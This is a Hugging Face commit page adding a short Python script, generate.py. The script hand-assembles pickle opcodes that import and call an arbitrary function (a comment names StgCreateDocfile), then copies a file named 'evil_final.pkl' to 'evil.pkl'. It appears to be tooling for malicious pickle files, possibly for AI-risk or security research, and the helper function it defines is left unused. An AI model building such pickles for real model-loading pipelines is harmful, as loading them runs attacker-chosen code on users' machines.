AeonAIRisk commited on
Commit
560658a
·
verified ·
1 Parent(s): 2b2f1a2

Upload generate.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. generate.py +13 -0
generate.py ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle, io
2
+ from pathlib import Path
3
+ dst = Path(r'C:/Users/uozer/AppData/Local/Temp/opencode/w51_StgCreateDocfile')
4
+ def mr(mod,name,*args):
5
+ b=io.BytesIO(); b.write(pickle.PROTO+bytes([4]))
6
+ def su(s):
7
+ e=s.encode(); return pickle.SHORT_BINUNICODE+bytes([len(e)])+e if len(e)<256 else pickle.BINUNICODE+__import__('struct').pack('<I',len(e))+e
8
+ b.write(su(mod)); b.write(su(name)); b.write(pickle.STACK_GLOBAL)
9
+ b.write(su(args[0])); b.write(pickle.BININT1 + bytes([0]) if False else b'')
10
+ # StgCreateDocfile(path, mode, reserved) - match existing pickle: just path?
11
+ # Use existing evil_final as source of truth - regenerate by copying
12
+ open('evil.pkl','wb').write(Path('evil_final.pkl').read_bytes())
13
+ print('copied evil_final -> evil.pkl')